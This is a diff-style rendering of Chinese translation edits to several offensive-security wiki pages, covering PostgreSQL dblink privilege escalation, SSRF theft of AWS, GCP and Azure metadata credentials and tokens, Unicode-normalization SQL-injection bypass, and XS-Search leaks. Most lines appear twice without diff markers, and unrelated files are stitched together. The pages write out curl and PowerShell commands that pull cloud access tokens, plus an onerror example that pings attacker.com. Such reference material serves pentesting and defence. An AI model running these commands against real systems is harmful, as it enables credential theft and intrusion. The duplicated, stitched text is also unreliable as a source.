_请注意配置通常用于在管理员忘记数据库用户密码时修改密码因此有时您可能会找到它。_\
_还请注意pg_hba.conf 文件仅可由 postgres 用户和组读取,仅可由 postgres 用户写入。_
这种情况是 **有用的,如果****已经** 在受害者的 **shell** 中,因为将允许你连接到 postgresql 数据库。
情况是 **有用的,如果****已经** 在受害者的 **shell** 中,因为将允许你连接到 postgresql 数据库。
另一个可能的错误配置类似于:
```
host all all 127.0.0.1/32 trust
```
因为它将允许来自本地主机的每个人以任何用户身份连接到数据库。\
在这种情况下,如果 **`dblink`** 函数 **正常工作**,您可以通过连接到已经建立的连接来 **提升权限**,并访问不应该能够访问的数据:
在这种情况下,如果**`dblink`**函数**正常工作**,您可以通过通过已建立的连接连接到数据库来**提升权限**,并访问不应能够访问的数据:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres
@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT);
```
### 端口扫描
滥用 `dblink_connect` 你也可以 **搜索开放端口**。如果该 **函数不起作用,你应该尝试使用 `dblink_connect_u()`,因为文档说 `dblink_connect_u()``dblink_connect()` 是相同的,除了它允许非超级用户使用任何认证方法连接。**
滥用 `dblink_connect` 你也可以 **搜索开放端口**。如果该 **函数不起作用,你应该尝试使用 `dblink_connect_u()`,因为文档说 `dblink_connect_u()``dblink_connect()` 是相同的,除了它允许非超级用户使用任何认证方法连接\_
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443

View File

@ -6,9 +6,9 @@
### 在 AWS EC2 环境中滥用 SSRF
**元数据** 端点可以从任何 EC2 机器内部访问,并提供有关该机器的有趣信息。它可以通过以下 URL 访问: `http://169.254.169.254` ([关于元数据的信息在这里](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
**元数据** 端点可以从任何 EC2 机器内部访问,并提供有关的有趣信息。它可以通过以下 URL 访问: `http://169.254.169.254` ([关于元数据的信息在这里](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
元数据端点有 **2 个版本**。**第一个** 版本允许通过 **GET** 请求 **访问** 端点(因此任何 **SSRF 都可以利用它**)。对于 **版本 2**[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html),您需要通过发送带有 **HTTP 头****PUT** 请求来请求 **令牌**,然后使用该令牌通过另一个 HTTP 头访问元数据(因此用 SSRF 滥用它 **更复杂**)。
元数据端点有 **2 个版本**。**第一个** 版本允许通过 **GET** 请求 **访问** 端点(因此任何 **SSRF 都可以利用它**)。对于 **版本 2**[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html),您需要通过发送带有 **HTTP 头****PUT** 请求来请求 **令牌**,然后使用该令牌通过另一个 HTTP 头访问元数据(因此用 SSRF 滥用它 **更复杂**)。
> [!CAUTION]
> 请注意,如果 EC2 实例强制执行 IMDSv2[**根据文档**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)**PUT 请求的响应** 将具有 **跳数限制为 1**,使得无法从 EC2 实例内部的容器访问 EC2 元数据。
@ -94,7 +94,7 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
### AWS ECS容器服务中的 SSRF 凭据
**ECS** 是一组逻辑上的 EC2 实例,您可以在其上运行应用程序,而无需扩展自己的集群管理基础设施,因为 ECS 为您管理这一切。如果您设法攻陷在 **ECS** 中运行的服务,**元数据端点会发生变化**。
**ECS** 是一组逻辑上的 EC2 实例,您可以在其上运行应用程序,而无需扩展自己的集群管理基础设施,因为 ECS 为您管理这一切。如果您成功地攻陷在 **ECS** 中运行的服务,**元数据端点会发生变化**。
如果您访问 _**http://169.254.170.2/v2/credentials/\<GUID>**_,您将找到 ECS 机器的凭据。但首先,您需要 **找到 \<GUID>**。要找到 \<GUID>,您需要读取机器内部的 **environ** 变量 **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI**。\
您可以通过利用 **路径遍历** 来读取它,路径为 `file:///proc/self/environ`。\
@ -103,11 +103,11 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
> [!NOTE]
> 注意在**某些情况下**,您将能够从容器访问**EC2元数据实例**请检查之前提到的IMDSv2 TTL限制。在这些场景中您可以从容器访问容器IAM角色和EC2 IAM角色。
> 注意在**某些情况下**,您将能够从容器访问**EC2元数据实例**请检查之前提到的IMDSv2 TTL限制。在这些场景中您可以从容器访问容器的IAM角色和EC2的IAM角色。
### SSRF for AWS Lambda
在这种情况下,**凭存储在环境变量中**。因此,要访问它们,您需要访问类似于**`file:///proc/self/environ`**的内容。
在这种情况下,**凭存储在环境变量中**。因此,要访问它们,您需要访问类似于**`file:///proc/self/environ`**的内容。
**有趣的环境变量**的**名称**是:
@ -115,10 +115,10 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
- `AWS_SECRET_ACCESS_KEY`
- `AWS_ACCES_KEY_ID`
此外除了IAM凭Lambda函数还具有**在启动时传递给函数的事件数据**。这些数据通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)提供给函数,并可能包含**敏感**的**信息**(例如在**stageVariables**中。与IAM凭不同这些数据可以通过标准SSRF访问地址为**`http://localhost:9001/2018-06-01/runtime/invocation/next`**。
此外除了IAM凭据外Lambda函数在启动时还会有**传递给函数的事件数据**。这些数据通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)提供给函数,并可能包含**敏感**的**信息**(例如在**stageVariables**中。与IAM凭不同这些数据可以通过标准SSRF访问地址为**`http://localhost:9001/2018-06-01/runtime/invocation/next`**。
> [!WARNING]
> 注意**lambda凭证**在**环境变量**中。因此如果lambda代码的**堆栈跟踪**打印环境变量,则可能通过在应用中引发错误来**外泄它们**。
> 请注意,**lambda凭据**在**环境变量**中。因此如果lambda代码的**堆栈跟踪**打印环境变量,则可能通过在应用中引发错误来**外泄它们**。
### SSRF URL for AWS Elastic Beanstalk
@ -127,7 +127,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
然后我们从API中获取`AccessKeyId``SecretAccessKey``Token`
然后我们从 API 中获取 `AccessKeyId``SecretAccessKey` `Token`
```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
@ -226,13 +226,13 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
```
Beta 前不需要头部 (感谢 Mathias Karlsson @avlidienbrunn)
Beta 前不需要头部 (感谢 Mathias Karlsson @avlidienbrunn)
```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
> [!CAUTION]
> 为了**使用被泄露的服务账户令牌**,您可以这样做:
> 为了**使用被外泄的服务账户令牌**,你可以这样做:
>
> ```bash
> # 通过环境变量
@ -323,15 +323,15 @@ curl http://169.254.169.254/metadata/v1.json | jq
- **不能**包含 `X-Forwarded-For` 头部
> [!TIP]
> Azure VM 可以附加 1 个系统管理身份和多个用户管理身份。这基本上意味着可以 **模拟所有附加到 VM 的管理身份**
> Azure VM 可以附加 1 个系统管理身份和多个用户管理身份。这基本上意味着可以 **模拟所有附加到 VM 的管理身份**
>
> 默认情况下,元数据端点将使用 **系统分配的 MI如果有**。
> 在请求访问令牌到元数据端点时,默认情况下,元数据服务将使用 **系统分配的管理身份** 来生成令牌,如果有任何系统分配的管理身份。如果只有 **一个用户分配的管理身份**,则默认使用该身份。然而,如果没有系统分配的管理身份,并且有 **多个用户分配的管理身份**,则元数据服务将返回一个错误,指示有多个管理身份,并且必须 **指定要使用的身份**。
>
> 不幸的是,我找不到任何元数据端点来指示 VM 附加的所有 MI
> 不幸的是,我找不到任何元数据端点来指示 VM 附加的所有管理身份,因此从红队的角度来看,找出所有分配给 VM 的管理身份可能是一项艰巨的任务
>
> 因此,要找到所有附加的 MI你可以
> 因此,要找到所有附加的管理身份,您可以执行
>
> - 使用 az cli 获取 **附加身份**(如果已经在 Azure 租户中攻陷了一个主体)
> - 使用 az cli 获取 **附加身份**(如果已经在 Azure 租户中攻陷了一个主体)
>
> ```bash
> az vm identity show \
@ -339,12 +339,12 @@ curl http://169.254.169.254/metadata/v1.json | jq
> --name <vm-name>
> ```
>
> - 使用元数据中的默认附加 MI 获取 **附加身份**
> - 使用元数据中的默认附加管理身份获取 **附加身份**
>
> ```bash
> export API_VERSION="2021-12-13"
>
> # 从默认 MI 获取令牌
> # 从默认管理身份获取令牌
> export TOKEN=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
> | jq -r '.access_token')
@ -357,19 +357,19 @@ curl http://169.254.169.254/metadata/v1.json | jq
> export VM_NAME=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
>
> # 尝试获取附加的 MIs
> # 尝试获取附加的管理身份
> curl -s -H "Authorization: Bearer $TOKEN" \
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> ```
>
> - **获取所有**在租户中定义的管理身份,并 **暴力破解** 以查看是否有任何身份附加到 VM
> - **获取所有** 在租户中定义的管理身份,并 **暴力破解** 以查看是否有任何身份附加到 VM
>
> ```bash
> az identity list
> ```
> [!CAUTION]
> 在令牌请求中使用任何参数 `object_id``client_id``msi_res_id` 来指示你想要使用的管理身份([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token))。如果没有,将使用 **默认 MI**。
> 在令牌请求中使用任何参数 `object_id``client_id``msi_res_id` 来指示您想要使用的管理身份 ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token))。如果没有,将使用 **默认管理身份**。
{{#tabs}}
{{#tab name="Bash"}}
@ -406,7 +406,20 @@ Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http:
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
# Paths
## Get management token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token
## Get graph token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token
## Get vault token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token
## Get storage token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token
# More Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
@ -414,7 +427,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
{{#endtab}}
{{#endtabs}}
### Azure 应用程序和函数服务及自动化帐户
### Azure 应用程序和功能服务及自动化帐户
**env** 中可以获取 **`IDENTITY_HEADER`** 和 **`IDENTITY_ENDPOINT`** 的值。您可以使用这些值来获取与元数据服务器通信的令牌。
@ -426,7 +439,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
- [https://management.azure.com](https://management.azure.com/)
> [!CAUTION]
> 在令牌请求中使用 `object_id``client_id``msi_res_id` 中的任何参数来指示您想要使用的托管身份([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token))。如果没有,**将使用默认 MI**。
> 在令牌请求中使用 `object_id``client_id``msi_res_id` 中的任何参数来指示您想要使用的托管身份([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token))。如果没有,**将使用默认 MI**。
{{#tabs}}
{{#tab name="Bash"}}
@ -450,7 +463,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08
{{#endtab}}
{{#tab name="PS"}}
```powershell
```bash
# Define the API version
$API_VERSION = "2019-08-01"
@ -539,7 +552,7 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
## Packetcloud
要访问 Packetcloud 的元数据,可以在以下位置找到文档:[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
要访问Packetcloud的元数据可以在以下位置找到文档[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
## OpenStack/RackSpace
@ -555,7 +568,7 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
## Oracle Cloud
Oracle Cloud 提供了一系列端点以访问各种元数据方面:
Oracle Cloud提供了一系列端点以访问各种元数据方面
- `http://192.0.0.192/latest/`
- `http://192.0.0.192/latest/user-data/`
@ -564,7 +577,7 @@ Oracle Cloud 提供了一系列端点以访问各种元数据方面:
## Alibaba
Alibaba 提供了访问元数据的端点,包括实例和镜像 ID
Alibaba提供了访问元数据的端点包括实例和镜像ID
- `http://100.100.100.200/latest/meta-data/`
- `http://100.100.100.200/latest/meta-data/instance-id`
@ -572,24 +585,24 @@ Alibaba 提供了访问元数据的端点,包括实例和镜像 ID
## Kubernetes ETCD
Kubernetes ETCD 可以保存 API 密钥、内部 IP 地址和端口。访问示例如下:
Kubernetes ETCD可以保存API密钥、内部IP地址和端口。访问示例如下
- `curl -L http://127.0.0.1:2379/version`
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
## Docker
Docker 元数据可以在本地访问,以下是获取容器和镜像信息的示例:
Docker元数据可以在本地访问,提供了容器和镜像信息检索的示例:
- 通过 Docker 套接字访问容器和镜像元数据的简单示例:
- 通过Docker套接字访问容器和镜像元数据的简单示例
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
- 在容器内,使用 curl 通过 Docker 套接字:
- 在容器内,使用curl和Docker套接字:
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
## Rancher
Rancher 的元数据可以通过以下方式访问
可以使用以下方式访问Rancher的元数据
- `curl http://rancher-metadata/<version>/<path>`

View File

@ -25,7 +25,7 @@ Unicode 规范化是一个确保字符的不同二进制表示标准化为相同
理解这些概念对于有效处理和减轻因 Unicode 的复杂性及其各种编码方法而产生的潜在问题至关重要。
一个如何规范化两个不同字节表示相同字符的 Unicode 示例:
Unicode 如何规范化两个表示相同字符的不同字节的示例:
```python
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
```
@ -37,13 +37,13 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
另一个 **例子**`%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83`**unicode** 之后是 `Leonishan`
## **脆弱示例**
## **易受攻击的示例**
### **SQL 注入过滤器绕过**
想象一个网页使用字符 `'` 来创建包含用户输入的 SQL 查询。这个网页作为安全措施,**删除** 用户输入中所有出现的字符 **`'`**,但 **在删除之后****创建查询之前**,它 **使用 Unicode 规范化** 用户的输入。
想象一个网页,它使用字符 `'` 来创建带有用户输入的 SQL 查询。这个网页作为安全措施,**删除** 用户输入中所有出现的字符 **`'`**,但 **在删除之后****创建** 查询之前,它 **使用 Unicode 规范化** 用户的输入。
然后,一个恶意用户可以插入一个不同的 Unicode 字符,等同于 `' (0x27)`,如 `%ef%bc%87`,当输入被规范化时,会创建一个单引号,从而出现 **SQL 注入漏洞**
然后,一个恶意用户可以插入一个等效于 `' (0x27)` 的不同 Unicode 字符,如 `%ef%bc%87`,当输入被规范化时,会创建一个单引号,从而出现 **SQL 注入漏洞**
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)
@ -93,7 +93,7 @@ https://github.com/carlospolop/sqlmap_to_unicode_template
当后端 **使用正则表达式检查用户输入** 时,**输入** 可能会为 **正则表达式** 进行 **规范化**,但 **不** 会为其 **使用** 的地方进行 **规范化**。例如,在 Open Redirect 或 SSRF 中,正则表达式可能会 **规范化发送的 URL**,但随后 **按原样访问**
工具 [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* 允许 **生成输入的变体** 以模糊测试后端。有关更多信息,请查看 **github** 和这篇 [**文章**](https://0xacb.com/2022/11/21/recollapse/)。
工具 [**recollapse**](https://github.com/0xacb/recollapse) 允许 **生成输入的变体** 以模糊测试后端。有关更多信息,请查看 **github** 和这篇 [**文章**](https://0xacb.com/2022/11/21/recollapse/)。
## Unicode 溢出

View File

@ -13,33 +13,33 @@ XS-Search 是一种通过利用 **侧信道漏洞** 来 **提取跨源信息**
- **包含方法**用于将易受攻击的网页纳入攻击者网站的技术例如window.open、iframe、fetch、带 href 的 HTML 标签等)。
- **泄漏技术**:用于根据通过包含方法收集的信息来辨别易受攻击网页状态差异的技术。
- **状态**:易受攻击网页的两种潜在条件,攻击者旨在区分。
- **可检测差异**:攻击者依赖于可观察的变化来推断易受攻击网页的状态。
- **可检测差异**:攻击者依赖于的可观察变化,以推断易受攻击网页的状态。
### 可检测差异
可以分析多个方面以区分易受攻击网页的状态:
- **状态码**:区分 **各种 HTTP 响应状态码** 跨源,如服务器错误、客户端错误或身份验证错误。
- **API 使用**:识别跨页面的 **Web API 使用情况**,揭示跨源页面是否使用特定的 JavaScript Web API。
- **重定向**:检测导航到不同页面,不仅是 HTTP 重定向,还包括由 JavaScript 或 HTML 触发的重定向。
- **页面内容**:观察 **HTTP 响应体中的变化** 或页面子资源中的变化,例如 **嵌入框架的数量** 或图像大小差异。
- **API 使用**:识别跨页面的 **Web API 使用**,揭示跨源页面是否使用特定的 JavaScript Web API。
- **重定向**:检测导航到不同页面,不仅是 HTTP 重定向,还由 JavaScript 或 HTML 触发的重定向。
- **页面内容**:观察 **HTTP 响应体中的变化** 或页面子资源中的变化,例如 **嵌入框架的数量** 或图像大小差异。
- **HTTP 头**:注意 **特定 HTTP 响应头** 的存在或可能的值,包括 X-Frame-Options、Content-Disposition 和 Cross-Origin-Resource-Policy 等头。
- **时间**:注意两个状态之间的一致时间差异。
### 包含方法
- **HTML 元素**HTML 提供多种元素用于 **跨源资源包含**,如样式表、图像或脚本,迫使浏览器请求非 HTML 资源。可以在 [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks) 找到潜在 HTML 元素的汇编。
- **框架**:如 **iframe**、**object** 和 **embed** 元素可以将 HTML 资源直接嵌入攻击者页面。如果页面 **缺乏框架保护**JavaScript 可以通过 contentWindow 属性访问框架资源的窗口对象。
- **HTML 元素**HTML 提供多种元素用于 **跨源资源包含**,如样式表、图像或脚本,迫使浏览器请求非 HTML 资源。可以在 [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks) 找到此目的的潜在 HTML 元素的汇编。
- **框架**:如 **iframe**、**object** 和 **embed** 元素可以将 HTML 资源直接嵌入攻击者页面。如果页面 **缺乏框架保护**JavaScript 可以通过 contentWindow 属性访问框架资源的窗口对象。
- **弹出窗口****`window.open`** 方法在新标签或窗口中打开资源,为 JavaScript 提供 **窗口句柄**,以便与遵循 SOP 的方法和属性进行交互。弹出窗口通常用于单点登录,绕过目标资源的框架和 cookie 限制。然而,现代浏览器限制弹出窗口的创建,仅限于某些用户操作。
- **JavaScript 请求**JavaScript 允许使用 **XMLHttpRequests****Fetch API** 直接请求目标资源。这些方法提供对请求的精确控制,例如选择跟随 HTTP 重定向。
### 泄漏技术
- **事件处理程序**XS-Leaks 中的一种经典泄漏技术,事件处理程序如 **onload****onerror** 提供有关资源加载成功或失败的见解。
- **事件处理程序**XS-Leaks 中的经典泄漏技术,事件处理程序如 **onload****onerror** 提供有关资源加载成功或失败的见解。
- **错误消息**JavaScript 异常或特殊错误页面可以直接从错误消息中提供泄漏信息,或通过区分其存在与否来提供信息。
- **全局限制**:浏览器的物理限制,如内存容量或其他强制的浏览器限制,可以在达到阈值时发出信号,作为泄漏技术。
- **全局状态**:可检测与浏览器 **全局状态**(例如,历史接口)的交互可以被利用。例如,浏览器历史中的 **条目数量** 可以提供有关跨源页面的线索。
- **性能 API**:此 API 提供 **当前页面的性能细节**,包括文档和加载资源的网络时序,能够推断请求的资源
- **性能 API**:此 API 提供 **当前页面的性能细节**,包括文档和加载资源的网络时序,使得对请求资源的推断成为可能
- **可读属性**:某些 HTML 属性是 **跨源可读的**,可以用作泄漏技术。例如,`window.frame.length` 属性允许 JavaScript 计算跨源网页中包含的框架数量。
## XSinator 工具与论文
@ -66,7 +66,7 @@ XSinator 是一个自动化工具,用于 **检查浏览器是否存在多种
- **包含方法**框架HTML 元素
- **可检测差异**:状态码
- **更多信息**[https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu)[https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
- **总结**如果尝试加载资源onerror/onload 事件在资源成功/失败加载时被触发,可以推断出状态码。
- **总结**如果尝试加载资源onerror/onload 事件在资源成功/失败加载时被触发,可以确定状态码。
- **代码示例**[https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
{{#ref}}
@ -83,43 +83,43 @@ xs-search/cookie-bomb-+-onerror-xs-leak.md
```
在这种情况下,如果 `example.com/404` 未找到,将加载 `attacker.com/?error`
### 加载时
### 加载时
- **包含方法**: HTML 元素
- **可检测差异**: 时延(通常由于页面内容、状态码)
- **更多信息**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
- **总结:** [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** 可用于测量执行请求所需的时间。然而,也可以使用其他时钟,例如 [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming),它可以识别运行超过 50 毫秒的任务。
- **代码示例**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 另一个示例在:
- **包含方法**HTML 元素
- **可检测差异**:时机(通常由于页面内容、状态码)
- **更多信息**[https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
- **总结** [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** 可用于测量执行请求所需的时间。然而,也可以使用其他时钟,例如 [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming),它可以识别运行超过 50 毫秒的任务。
- **代码示例**[https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 另一个示例在:
{{#ref}}
xs-search/performance.now-example.md
{{#endref}}
#### 加载时 + 强制重任务
#### 加载时 + 强制重任务
此技术与前一种相似,但 **攻击者** 还将 **强制** 一些操作以花费 **相关的时间**,当 **答案为正或负**并测量该时间。
此技术与前一种相似,但 **攻击者** 还将 **强制** 一些操作以花费 **相关的时间****答案为正或负** 时,并测量该时间。
{{#ref}}
xs-search/performance.now-+-force-heavy-task.md
{{#endref}}
### 卸载/卸载前时
### 卸载/卸载前时
- **包含方法**: 框架
- **可检测差异**: 时延(通常由于页面内容、状态码)
- **更多信息**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
- **总结:** [SharedArrayBuffer 时钟](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) 可用于测量执行请求所需的时间。也可以使用其他时钟。
- **代码示例**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
- **包含方法**框架
- **可检测差异**:时机(通常由于页面内容、状态码)
- **更多信息**[https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
- **总结** [SharedArrayBuffer 时钟](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) 可用于测量执行请求所需的时间。也可以使用其他时钟。
- **代码示例**[https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
获取资源所需的时间可以通过利用 [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) 和 [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) 事件来测量。**`beforeunload`** 事件在浏览器即将导航到新页面时触发,而 **`unload`** 事件在实际进行导航时发生。这两个事件之间的时间差可以计算出 **浏览器获取资源所花费的时间**。
获取资源所需的时间可以通过利用 [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) 和 [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) 事件来测量。**`beforeunload`** 事件在浏览器即将导航到新页面时触发,而 **`unload`** 事件在实际进行导航时发生。这两个事件之间的时间差可以计算出 **浏览器花费在获取资源上的持续时间**。
### 沙箱框架时 + 加载 <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
### 沙箱框架时 + 加载 <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
- **包含方法**: 框架
- **可检测差异**: 时延(通常由于页面内容、状态码)
- **更多信息**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
- **总结:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API 可用于测量执行请求所需的时间。也可以使用其他时钟。
- **代码示例**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
- **包含方法**框架
- **可检测差异**:时机(通常由于页面内容、状态码)
- **更多信息**[https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
- **总结** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API 可用于测量执行请求所需的时间。也可以使用其他时钟。
- **代码示例**[https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
已观察到,在没有 [框架保护](https://xsleaks.dev/docs/defenses/opt-in/xfo/) 的情况下,攻击者可以测量页面及其子资源在网络上加载所需的时间。此测量通常是可能的,因为 iframe 的 `onload` 处理程序仅在资源加载和 JavaScript 执行完成后触发。为了绕过脚本执行引入的可变性,攻击者可能会在 `<iframe>` 中使用 [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) 属性。包含此属性会限制许多功能,特别是 JavaScript 的执行,从而促进主要受网络性能影响的测量。
```javascript
@ -129,30 +129,30 @@ xs-search/performance.now-+-force-heavy-task.md
### #ID + error + onload
- **Inclusion Methods**: Frames
- **Detectable Difference**: 页面内容
- **Detectable Difference**: Page Content
- **More info**:
- **Summary**: 如果您可以在访问正确内容时使页面出错,并在访问任何内容时使其正确加载,那么您可以创建一个循环来提取所有信息,而无需测量时间。
- **Code Example**:
假设您可以**插入**包含**秘密**内容的**页面****在一个 Iframe**
假设您可以**插入**包含**秘密**内容的**页面****在一个 Iframe**。
您可以**让受害者搜索**包含“_**flag**_”的文件使用**Iframe**(例如,利用 CSRF。在 Iframe 内,您知道 _**onload 事件**_ 将**至少执行一次**。然后,您可以**更改** **iframe** 的**URL**,但仅更改 URL 中的**hash**内容
您可以**让受害者搜索**包含“_**flag**_”的文件使用**Iframe**(例如,利用 CSRF。在 Iframe 内,您知道 _**onload 事件**_ 将**至少执行一次**。然后,您可以**更改** **iframe** 的**URL**,但仅更改**URL**中**hash**的**内容**
例如:
1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2
